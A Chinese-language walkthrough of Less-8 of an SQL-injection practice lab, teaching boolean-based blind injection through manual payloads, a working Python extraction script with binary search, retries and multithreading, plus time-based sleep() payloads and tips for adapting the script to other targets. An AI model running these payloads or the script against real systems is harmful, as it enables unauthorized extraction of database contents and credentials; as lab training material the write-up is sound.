1. 第八关到底在考什么:从报错消失说起
很多人刷到第八关的时候会愣一下——前七关好歹有个报错信息、有个回显位、有个能看见的东西,到了第八关,页面干干净净,输入个单引号,啥反应都没有。你盯着浏览器看了半天,怀疑是不是自己网络卡了,刷新一下,还是那个样子。
这就是第八关的核心特征:页面没有回显,也没有报错,但查询结果的真假会反映在页面的某个状态上。这个状态可能是"登录成功/失败"的文案切换,可能是"You are in..."这句话出现与否,也可能是一个图片的加载与不加载。总之,你能拿到的信息只有两种:真(True)和假(False)。
布尔盲注(Boolean-based Blind SQL Injection)这个名字听起来唬人,拆开看就三件事:第一,注入点存在,但数据不直接显示;第二,我们通过构造条件判断语句,让数据库返回真或假;第三,根据页面反馈的真假,一个字符一个字符地把数据"问"出来。本质上,这就是一场和数据库之间的"二十问"游戏——你问它"第一个字符的ASCII码是不是大于100",它回答"是"或"不是",你根据回答缩小范围,最终锁定答案。
第八关相比第五关(同样是盲注),最大的区别在于:第五关通常还有报错或者某种形式的间接回显,而第八关是纯粹的布尔盲注,页面只给你一个"存在/不存在"的信号。这意味着你不能再依赖报错信息来快速定位,必须老老实实地用二分法去猜每一个字符。
适合谁来参考这篇内容?如果你已经刷过前几关,理解了联合查询注入和报错注入的基本原理,现在卡在第八关不知道怎么下手,那这篇就是写给你的。如果你是完全的新手,建议先把前四关的联合查询搞明白,再来看盲注,否则会觉得很抽象。
提示:盲注的核心不是"技术多高深",而是"耐心+逻辑"。工具能帮你自动化,但手工跑一遍才能真正理解原理。
2. 判断注入类型:先搞清楚闭合方式
在动手写盲注脚本之前,有一件事必须先确认:注入点的闭合方式是什么。第八关通常是字符型注入,闭合符号是单引号。但这个结论不能靠猜,得验证。
2.1 用真假条件做第一次试探
假设页面有一个id参数,正常访问是:
http://目标地址/Less-8/?id=1页面会显示类似"You are in..........."的提示。现在构造两个请求:
http://目标地址/Less-8/?id=1' and 1=1 --+ http://目标地址/Less-8/?id=1' and 1=2 --+如果第一个请求页面正常显示"You are in...",第二个请求页面显示异常(比如提示消失、内容为空),那就说明:
- 单引号闭合成立;
- 后面的
and 1=1和and 1=2被当作SQL条件执行了; - 页面确实根据SQL查询的真假给出了不同反馈。
这一步是整个盲注的基础。如果and 1=1和and 1=2返回的页面完全一样,那要么闭合方式不对,要么这个参数根本不是注入点。
2.2 为什么用 --+ 而不是 --
在URL中传参时,--后面需要跟一个空格才能注释掉后面的内容。但URL里空格会被编码成%20,直接写空格可能被浏览器或服务器处理掉。用--+是因为+在URL编码中代表空格,这样传到后端就变成了--,正好完成注释。这是个小细节,但新手经常在这里卡住,构造的payload明明逻辑对,就是不生效。
2.3 确认闭合方式的其他可能性
虽然第八关标准答案是单引号,但实际环境中可能遇到双引号、括号、甚至数字型。验证方法是一样的,换不同的闭合符号去试:
| 闭合方式 | 测试payload | 判断依据 |
|---|---|---|
| 单引号 | id=1' and 1=1 --+ | 真条件正常,假条件异常 |
| 双引号 | id=1" and 1=1 --+ | 同上 |
| 单引号加括号 | id=1') and 1=1 --+ | 同上 |
| 数字型 | id=1 and 1=1 --+ | 无需闭合符号 |
实测下来,第八关就是最标准的单引号字符型。确认了这一点,后面的所有payload都可以在这个基础上构造。
3. 手工盲注的完整逻辑链:从猜长度到逐字符爆破
确认注入点之后,接下来的工作就是"问数据库问题"。但问题不能乱问,得有条理。整个手工盲注的流程可以拆成四步:猜数据库名长度、猜数据库名、猜表名、猜字段和数据。每一步都是用二分法逐字符逼近。
3.1 第一步:确定当前数据库名的长度
为什么要先猜长度?因为后面逐字符猜的时候,你需要知道循环的边界。如果不知道长度,就得一直猜到字符串结束,效率低且容易出错。
构造payload:
id=1' and length(database())=8 --+页面返回真,说明数据库名长度是8。如果不是8,就换7、9、10去试。更高效的方式是用二分法:
id=1' and length(database())>5 --+ (真) id=1' and length(database())>10 --+ (假) id=1' and length(database())>7 --+ (真) id=1' and length(database())=8 --+ (真)这样几次就能锁定长度。假设这里确定长度是8。
3.2 第二步:逐字符猜数据库名
现在知道数据库名有8个字符,接下来猜第一个字符是什么。用ASCII码来比较:
id=1' and ascii(substr(database(),1,1))>100 --+如果返回真,说明第一个字符的ASCII码大于100;如果假,说明小于等于100。然后用二分法不断缩小范围:
ascii(substr(database(),1,1))>100 → 真 ascii(substr(database(),1,1))>115 → 假 ascii(substr(database(),1,1))>107 → 真 ascii(substr(database(),1,1))>111 → 假 ascii(substr(database(),1,1))>109 → 假 ascii(substr(database(),1,1))=109 → 真ASCII 109对应小写字母m。第一个字符是m。重复这个过程8次,就能得到完整的数据库名。假设最终得到的是security。
这里有个经验:二分法的区间选择很重要。可打印字符的ASCII范围是32到126,所以初始区间设为>64可以快速判断是大写字母、小写字母还是数字/符号。如果>64为真,再判断>96区分大小写字母和数字。这样能把搜索空间快速压缩。
3.3 第三步:猜表名
拿到数据库名之后,下一步是猜这个数据库里有哪些表。第八关通常只有一个表,但流程还是要走。
先猜表的数量:
id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 --+返回真,说明只有一个表。然后猜第一个表名的长度:
id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=5 --+假设长度是5。接着逐字符猜表名:
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 --+重复二分法,最终得到表名,比如users。
3.4 第四步:猜字段名和数据
同样的逻辑,先猜字段数量,再猜每个字段名的长度和内容:
id=1' and (select count(column_name) from information_schema.columns where table_name='users')=3 --+ id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=8 --+ id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100 --+假设字段是username和password。最后猜数据:
id=1' and ascii(substr((select username from users limit 0,1),1,1))>100 --+这个过程手工跑一遍,你会对盲注的"笨拙"有深刻体会——一个8字符的数据库名,用二分法大概需要40到50次请求。如果表多、字段多、数据多,手工几乎不可能完成。所以实际渗透中,盲注一定是用脚本自动化的。
注意:手工跑一遍的目的是理解原理,不是让你真的手工去猜完所有数据。理解之后立刻上脚本,这才是正确的姿势。
4. 用Python写一个能跑的布尔盲注脚本
手工理解原理之后,接下来就是把它自动化。我用Python写一个针对第八关的盲注脚本,核心思路很简单:构造payload,发送请求,根据页面返回内容判断真假,用二分法逼近每个字符。
4.1 脚本的整体框架
先定义几个核心函数:
import requests import time # 目标地址 url = "http://目标地址/Less-8/" # 判断真假的条件:页面中是否包含特定字符串 def is_true(payload): full_url = url + "?id=1' and " + payload + " --+" try: r = requests.get(full_url, timeout=10) # 根据实际页面调整判断条件 return "You are in" in r.text except: return False # 二分法猜字符 def guess_char(sql_query, position): low = 32 high = 126 while low < high: mid = (low + high) // 2 payload = f"ascii(substr(({sql_query}),{position},1))>{mid}" if is_true(payload): low = mid + 1 else: high = mid return chr(low) # 猜字符串长度 def guess_length(sql_query): low = 1 high = 50 while low < high: mid = (low + high) // 2 payload = f"length(({sql_query}))>{mid}" if is_true(payload): low = mid + 1 else: high = mid return low # 猜完整字符串 def guess_string(sql_query): length = guess_length(sql_query) result = "" for i in range(1, length + 1): result += guess_char(sql_query, i) print(f"\r[*] 当前结果: {result}", end="") print() return result这段代码的核心是guess_char函数。它用二分法在ASCII 32到126之间搜索,每次请求判断当前字符的ASCII码是否大于中间值,根据真假调整区间,最终锁定字符。
4.2 为什么判断条件要选"You are in"
第八关的页面在查询为真时会显示"You are in...........",为假时这个字符串消失。所以用"You are in" in r.text作为真假判断是最直接的。但实际环境中,这个判断条件可能不同——有的页面是显示一张图片,有的是显示"登录成功",有的是HTTP状态码变化。你需要先手工确认真假条件下的页面差异,再把那个差异点写进脚本。
我踩过的一个坑:一开始用len(r.text)来判断,觉得真条件下页面内容多,假条件下内容少。结果发现两个页面的长度差只有几个字节,网络波动或者页面动态内容会导致误判。后来改成判断特定字符串是否存在,稳定性立刻上来了。
4.3 加入重试机制和延迟
盲注脚本会发送大量请求,网络抖动、服务器限流都可能导致某次请求失败,进而导致猜错字符。所以必须加重试:
def is_true_with_retry(payload, retries=3): for i in range(retries): result = is_true(payload) if result is not None: return result time.sleep(0.5) return False另外,如果服务器有请求频率限制,需要在每次请求之间加一个小延迟:
time.sleep(0.1)这个延迟不能太大,否则跑完整个数据库要几个小时;也不能太小,否则触发限流。实测0.1到0.3秒比较合适,具体看目标服务器的响应速度。
4.4 跑一遍完整流程
把上面的函数串起来:
# 猜数据库名 print("[*] 正在猜数据库名...") db_name = guess_string("select database()") print(f"[+] 数据库名: {db_name}") # 猜第一个表名 print("[*] 正在猜表名...") table_name = guess_string( "select table_name from information_schema.tables " "where table_schema=database() limit 0,1" ) print(f"[+] 表名: {table_name}") # 猜字段名 print("[*] 正在猜字段名...") column_name = guess_string( f"select column_name from information_schema.columns " f"where table_name='{table_name}' limit 0,1" ) print(f"[+] 字段名: {column_name}") # 猜数据 print("[*] 正在猜数据...") data = guess_string( f"select {column_name} from {table_name} limit 0,1" ) print(f"[+] 数据: {data}")这个脚本跑起来之后,你会看到字符一个一个地蹦出来。一个8字符的数据库名,大概需要40到60次请求,耗时取决于网络延迟。如果每次请求200毫秒,大概10到15秒能跑完。
5. 脚本跑不通时怎么排查:几个高频翻车点
脚本写完了,跑起来报错或者结果不对,这是最常见的情况。我整理了几个高频问题,基本覆盖了90%的翻车场景。
5.1 判断条件写错了
最常见的问题:is_true函数里的判断字符串和实际页面不匹配。比如页面显示的是"You are in...",你写的是"you are in",大小写不一致,导致所有请求都返回假,脚本猜出来的全是乱码。
排查方法:手工访问一次真条件URL和假条件URL,把两个页面的返回内容保存下来,用diff对比,找到那个唯一的差异点。那个差异点就是你的判断条件。
5.2 二分法边界搞反了
二分法的逻辑是:如果ascii > mid为真,说明目标字符在右半区间,low = mid + 1;如果为假,说明在左半区间,high = mid。如果这两个写反了,脚本会陷入死循环或者猜出错误的字符。
验证方法:拿一个已知字符测试。比如数据库名的第一个字符是s(ASCII 115),手工构造ascii(substr(database(),1,1))>100,确认返回真;再构造>120,确认返回假。然后用脚本的guess_char函数单独跑这个位置,看输出是不是s。
5.3 URL编码问题
payload里包含空格、单引号、括号等特殊字符,直接拼接到URL里可能被浏览器或服务器错误解析。requests库会自动处理一部分编码,但单引号'和空格最好手动处理:
payload = payload.replace(" ", "%20")或者直接用requests的params参数:
params = {"id": f"1' and {payload} --+"} r = requests.get(url, params=params)这样requests会自动帮你做URL编码,省心很多。我一开始手动拼接URL,经常因为编码问题导致payload失效,后来全部改用params,问题少了一大半。
5.4 服务器返回内容不稳定
有些页面包含动态内容(比如时间戳、随机广告),导致每次请求的返回文本都不一样。如果你的判断条件是"You are in" in r.text,这个没问题;但如果是r.text == expected_text,就会因为动态内容导致误判。
解决方案:判断条件尽量用"包含"而不是"等于",并且选择页面中稳定的、不随请求变化的字符串作为标志。
5.5 请求超时和连接重置
盲注脚本请求量大,目标服务器可能因为负载过高而超时或重置连接。这时候需要在requests.get里设置timeout,并捕获异常:
try: r = requests.get(full_url, timeout=10) except requests.exceptions.RequestException as e: print(f"请求失败: {e}") return None返回None的时候,上层函数做重试。这样即使个别请求失败,也不会导致整个脚本崩溃。
6. 盲注效率优化:从能跑到跑得快
脚本能跑通之后,下一步就是优化速度。盲注的本质是"用请求换数据",所以优化的核心就是减少请求次数。
6.1 二分法 vs 逐字符遍历
逐字符遍历是从ASCII 32开始,一个一个试到126,最坏情况每个字符要94次请求。二分法每次把范围缩小一半,最多7次请求就能锁定一个字符。两者效率差了十几倍。
但二分法也有优化空间。如果目标字符大概率是数字或小写字母,可以把初始区间缩小到48-122,减少一两次请求。不过这个优化收益不大,而且如果猜错了区间会导致结果错误,所以一般还是用完整的32-126。
6.2 一次请求猜多个字符
二分法每次只能猜一个字符,但我们可以通过构造更复杂的条件,一次请求判断多个字符的信息。比如:
id=1' and ascii(substr(database(),1,1))>100 and ascii(substr(database(),2,1))>100 --+这样一次请求能同时获取两个字符的部分信息。但这种方法会让逻辑变复杂,而且如果第一个条件为假,第二个条件的信息就浪费了。实际中不太常用,了解即可。
6.3 用时间盲注做补充
如果页面真假反馈不明显,或者判断条件不好找,可以考虑时间盲注。时间盲注不依赖页面内容变化,而是通过sleep()函数让数据库延迟响应,根据响应时间判断真假:
id=1' and if(ascii(substr(database(),1,1))>100, sleep(3), 0) --+如果响应时间超过3秒,说明条件为真;否则为假。时间盲注的优点是判断条件明确,缺点是每次请求都要等几秒,效率极低。所以能用布尔盲注就不要用时间盲注。
6.4 多线程并发
盲注脚本是IO密集型的,大部分时间花在等待服务器响应上。用多线程可以同时猜多个字符,大幅缩短总耗时:
from concurrent.futures import ThreadPoolExecutor def guess_string_parallel(sql_query, length): result = [""] * length def guess_one(i): result[i-1] = guess_char(sql_query, i) with ThreadPoolExecutor(max_workers=5) as executor: executor.map(guess_one, range(1, length + 1)) return "".join(result)但多线程会增加服务器负载,可能触发限流。建议线程数控制在3到5个,并且加适当的延迟。实测下来,5个线程比单线程快3到4倍,再往上加收益递减,而且容易被封。
注意:多线程盲注对目标服务器压力较大,仅在你拥有明确授权的测试环境中使用。未经授权的测试可能违反相关法律法规。
7. 从第八关延伸出去:盲注的通用思路
第八关只是布尔盲注的一个入门练习,实际环境中的盲注场景要复杂得多。但核心思路是一样的:找到真假反馈的差异点,构造条件判断,用二分法逐字符提取数据。
7.1 不同数据库的盲注差异
MySQL、PostgreSQL、SQL Server、Oracle的盲注语法有差异。比如MySQL用substr()和ascii(),SQL Server用substring()和unicode(),Oracle用substr()和ascii()但需要加from dual。实际测试中,先判断数据库类型,再选择对应的函数。
| 数据库 | 截取函数 | ASCII函数 | 注释符 |
|---|---|---|---|
| MySQL | substr() | ascii() | --+ 或 # |
| PostgreSQL | substring() | ascii() | -- |
| SQL Server | substring() | unicode() | -- |
| Oracle | substr() | ascii() | -- |
7.2 盲注之外的替代方案
如果盲注效率太低,可以考虑其他注入方式。比如:
- 联合查询注入:如果有回显位,直接union select,效率最高;
- 报错注入:如果页面有报错信息,用updatexml或extractvalue,一次请求能带出32位数据;
- 堆叠注入:如果支持多语句执行,可以直接插入数据或执行命令。
盲注是"没有办法的办法",只有在完全没有回显和报错的情况下才用。所以实际测试中,先尝试联合查询和报错注入,都不行再上盲注。
7.3 盲注脚本的通用化改造
针对第八关写的脚本,稍微改一下就能适配其他盲注场景。核心改动点:
- 修改
url和is_true的判断条件; - 修改payload的闭合方式(单引号、双引号、括号等);
- 修改SQL查询语句(数据库名、表名、字段名根据实际情况调整)。
把这三个地方参数化,就能做成一个通用的盲注工具。我自己维护了一个小脚本,把目标地址、闭合方式、判断条件作为命令行参数传入,换一个目标只需要改几个参数,不用重写代码。
7.4 盲注中的编码问题
如果数据库使用了非UTF-8编码(比如GBK),盲注时可能会遇到宽字节问题。这时候需要在payload中插入%df等特殊字节来绕过转义。但第八关是标准的UTF-8环境,不涉及这个问题。实际环境中如果遇到中文数据,猜字符时要用hex()或ord()处理多字节字符,否则会猜出乱码。
8. 我在第八关踩过的几个坑
最后分享几个我在第八关实际踩过的坑,都是文档里不会写的。
第一个坑:判断条件用了页面长度。一开始我觉得真条件下页面内容多,假条件下内容少,用len(r.text)判断就行了。结果发现两个页面的长度差只有几个字节,而且页面底部有个动态时间戳,每次请求长度都不一样。后来改成判断"You are in"字符串是否存在,问题解决。
第二个坑:二分法边界写反。low = mid + 1和high = mid写反了,脚本跑出来的字符全是错的。排查了半天才发现是二分法逻辑问题。后来我养成了一个习惯:写二分法之后,先用一个已知字符测试,确认逻辑正确再跑完整流程。
第三个坑:没加重试机制。跑一个长字符串的时候,中间某次请求超时,导致那个字符猜错,后面的结果全乱。加了重试之后,偶尔的请求失败不会影响最终结果。
第四个坑:线程数开太多。为了追求速度,开了20个线程,结果目标服务器直接返回503,脚本全挂。后来降到5个线程,稳定跑完。
第五个坑:忘了URL编码。payload里的空格和单引号直接拼到URL里,有时候能跑有时候不能跑,排查了很久才发现是编码问题。改用requests的params参数之后,再也没遇到过。
这些坑说到底都是细节问题,但盲注本身就是个细节活。一个字符猜错,后面的数据全废。所以脚本的稳定性和准确性比速度更重要。先把脚本跑稳,再考虑优化速度,这个顺序不能反。